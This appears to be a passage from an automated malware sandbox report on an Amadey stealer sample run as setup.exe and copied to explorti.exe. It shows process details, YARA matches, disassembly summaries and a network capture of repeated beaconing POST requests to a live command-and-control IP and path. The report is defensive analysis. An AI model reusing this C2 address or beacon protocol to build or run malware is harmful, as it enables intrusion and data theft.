r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:52.422719002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49779	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:52.537200928 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:53.285434961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:53.286292076 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:53.532587051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49780	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:53.640933990 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:54.403614998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:54.404536963 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:54.655740976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49781	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:54.766233921 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:55.547815084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:55.549182892 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:55.959820032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49782	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:56.079212904 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:56.872687101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:56.883215904 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:57.163477898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49783	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:57.285527945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:58.180763006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:58.182615042 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:58.434827089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49784	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:58.550977945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:59.303210974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:59.304164886 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:59.551167011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49785	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:59.736005068 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:58:00.504157066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:58:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:58:00.508196115 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:58:00.757834911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:58:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49786	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:58:00.875314951 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:58:01.802970886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:58:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	14:55:56
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0x3c0000
File size:	1'909'760 bytes
MD5 hash:	2AF5EB9FB318C9A454DE54914E121031
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1651021209.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1691354588.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:55:58
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0xf50000
File size:	1'909'760 bytes
MD5 hash:	2AF5EB9FB318C9A454DE54914E121031
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1676236773.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1716934114.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:56:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xf50000
File size:	1'909'760 bytes
MD5 hash:	2AF5EB9FB318C9A454DE54914E121031
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1689016813.0000000005740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1729291467.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:57:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xf50000
File size:	1'909'760 bytes
MD5 hash:	2AF5EB9FB318C9A454DE54914E121031
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2289232500.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 05150DB0 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

gFl, xrefs: 05150E80

Memory Dump Source

Source File: 00000000.00000002.1694131375.0000000005150000.00000040.00001000.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5150000_setup.jbxd

Similarity

API ID:
String ID: gFl
API String ID: 0-653338221
Opcode ID: 404e6068da45b2a52090f05b2bbaaf732c2d0046f964f193989e9bbe563940d7
Instruction ID: 0d7084a7e125ab269edcc0b737dd179566561da88ddbc86f1e1c0a66e8779450
Opcode Fuzzy Hash: 404e6068da45b2a52090f05b2bbaaf732c2d0046f964f193989e9bbe563940d7
Instruction Fuzzy Hash: 62F0F4EF14C225EE5159E0D537696F72B5AD5DF331732883BFC23DB102E26909845125

Function 05150DB9 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

gFl, xrefs: 05150E80

Memory Dump Source

Source File: 00000000.00000002.1694131375.0000000005150000.00000040.00001000.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5150000_setup.jbxd

Similarity

API ID:
String ID: gFl
API String ID: 0-653338221
Opcode ID: 7b1b564f16f2573f142d35a8912dd63c5bc012faf8db2086357b5abcf343402f
Instruction ID: b6b65f0615dc0b8e22d18e66eb87cebe3995d147d376be168bd7e0d3bae9ebcc
Opcode Fuzzy Hash: 7b1b564f16f2573f142d35a8912dd63c5bc012faf8db2086357b5abcf343402f
Instruction Fuzzy Hash: 680199DF14D191EE5254E0E436596F32B2AD8DF331336887BFC33CB502936505859220

Function 05150DE7 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

gFl, xrefs: 05150E80

Memory Dump Source

Source File: 00000000.00000002.1694131375.0000000005150000.00000040.00001000.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5150000_setup.jbxd

Similarity

API ID:
String ID: gFl
API String ID: 0-653338221
Opcode ID: 0b2b052d238a0cef0f3472a65e6aa8ebbe9b573b49451c64f1ebcea851ddc9ee
Instruction ID: c9a00c310c75771f202518b02e182854a92d829bb24a2d71cab608544bc6b9de
Opcode Fuzzy Hash: 0b2b052d238a0cef0f3472a65e6aa8ebbe9b573b49451c64f1ebcea851ddc9ee
Instruction Fuzzy Hash: AEF046DF18C125EE5025E0E436AD6FB2B5ED6EE3317328837FC23CB601E36A0A851121

Analysis Process: explorti.exePID: 6200, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.5%
Total number of Nodes:	541
Total number of Limit Nodes:	31

Executed Functions

Function 00F5BD60 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00FA8D68,00000000,00000000,00000000,00000000), ref: 00F5BDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F5BE11
HttpOpenRequestA.WININET(?,00000000), ref: 00F5BE5B
HttpSendRequestA.WININET(?,00000000), ref: 00F5BF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 00F5BFCD
InternetCloseHandle.WININET(?), ref: 00F5C0A7
InternetCloseHandle.WININET(?), ref: 00F5C0AF
InternetCloseHandle.WININET(?), ref: 00F5C0B7

Strings

stoi argument out of range, xrefs: 00F5E3FA
invalid stoi argument, xrefs: 00F5E404
6JLUcBRYEz9=, xrefs: 00F5C385
xn, xrefs: 00F5CD98, 00F5D0C6, 00F5D657
6JLUcxtnEx==, xrefs: 00F5C2EB, 00F5C543
n, xrefs: 00F5CA1D, 00F5CBF8
PoPn, xrefs: 00F5D516
PG3NVu==, xrefs: 00F5BE33

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 6JLUcBRYEz9=$6JLUcxtnEx==$PG3NVu==$PoPn$invalid stoi argument$stoi argument out of range$xn$n
API String ID: 688256393-2251649307
Opcode ID: bf4e34dea14339b78c420d0185a85859683801022b8eda36c31018f5e8f7efa6
Instruction ID: 4c33a5e2b79ecc87f2590737ccd9783eab3ebf9f14fafbb5f71cebc7599bedab
Opcode Fuzzy Hash: bf4e34dea14339b78c420d0185a85859683801022b8eda36c31018f5e8f7efa6
Instruction Fuzzy Hash: 46B106B1A002189FEB24CF28CC84BADBB65EF45305F5041A9FA09972C2DB749EC4DF95

Function 00F646C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00F67870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00F6795C
Part of subcall function 00F67870: __Cnd_destroy_in_situ.LIBCPMT ref: 00F67968
Part of subcall function 00F67870: __Mtx_destroy_in_situ.LIBCPMT ref: 00F67971

Part of subcall function 00F5BD60: InternetOpenW.WININET(00FA8D68,00000000,00000000,00000000,00000000), ref: 00F5BDED
Part of subcall function 00F5BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F5BE11
Part of subcall function 00F5BD60: HttpOpenRequestA.WININET(?,00000000), ref: 00F5BE5B

std::_Xinvalid_argument.LIBCPMT ref: 00F64EA2

Strings

stoi argument out of range, xrefs: 00F64269, 00F64EAC
TZS0, xrefs: 00F6537A
246122658369, xrefs: 00F64F3A, 00F64F4D, 00F64F8F, 00F64F99, 00F654F4
9pG0, xrefs: 00F654DB
Toe0, xrefs: 00F65447
6YK0, xrefs: 00F65502
IEYUMK==, xrefs: 00F654B9
84K0, xrefs: 00F65497
8lU=, xrefs: 00F66383, 00F66652
TZC0, xrefs: 00F6541E
0657d1, xrefs: 00F65489
7470, xrefs: 00F6531D
85K3cq==, xrefs: 00F64712
UIU0, xrefs: 00F653A3
KIK+, xrefs: 00F647BD, 00F648EC, 00F64ADC, 00F64C0B
75G0, xrefs: 00F65470
9YY0, xrefs: 00F653CC
8IG0, xrefs: 00F653F5
7JS0, xrefs: 00F65351
KIG+, xrefs: 00F64776, 00F647ED, 00F64A95, 00F64B0C
Dy==, xrefs: 00F6369E, 00F64D2D

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
